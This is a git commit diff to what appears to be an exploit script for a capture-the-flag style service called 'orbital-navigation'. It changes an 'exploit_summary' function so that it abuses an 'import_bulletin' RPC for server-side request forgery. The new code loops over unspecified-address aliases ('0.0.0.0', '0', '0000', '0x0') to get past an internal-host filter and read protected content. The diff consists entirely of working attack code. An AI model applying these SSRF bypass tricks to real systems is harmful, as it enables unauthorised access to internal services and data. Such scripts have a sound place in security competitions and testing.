orbital-navigation: add unspecified-address SSRF bypass

This commit is contained in:
Мария Янова committed 2026-10-25 11:23:40 +03:00
1 parent 76b5e01dac
commit 2f5892d323
1 file changed
+17 -8
+17 -8
View File
@@ -211,14 +211,23 @@ def exploit_summary(base: str, summary_id: str) -> list[str]:
if status == 200:
return [raw.decode("utf-8", errors="replace")]
token = register(base)
result = rpc(
base,
"import_bulletin",
token=token,
url=f"http://127.1:8080{path}",
)
content = result.get("content") if isinstance(result, dict) else None
return [content] if isinstance(content, str) else []
last_error = None
for internal_host in ("0.0.0.0", "0", "0000", "0x0"):
try:
result = rpc(
base,
"import_bulletin",
token=token,
url=f"http://{internal_host}:8080{path}",
)
content = result.get("content") if isinstance(result, dict) else None
if isinstance(content, str):
return [content]
except ExploitError as exc:
last_error = exc
if last_error:
raise last_error
return []
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]: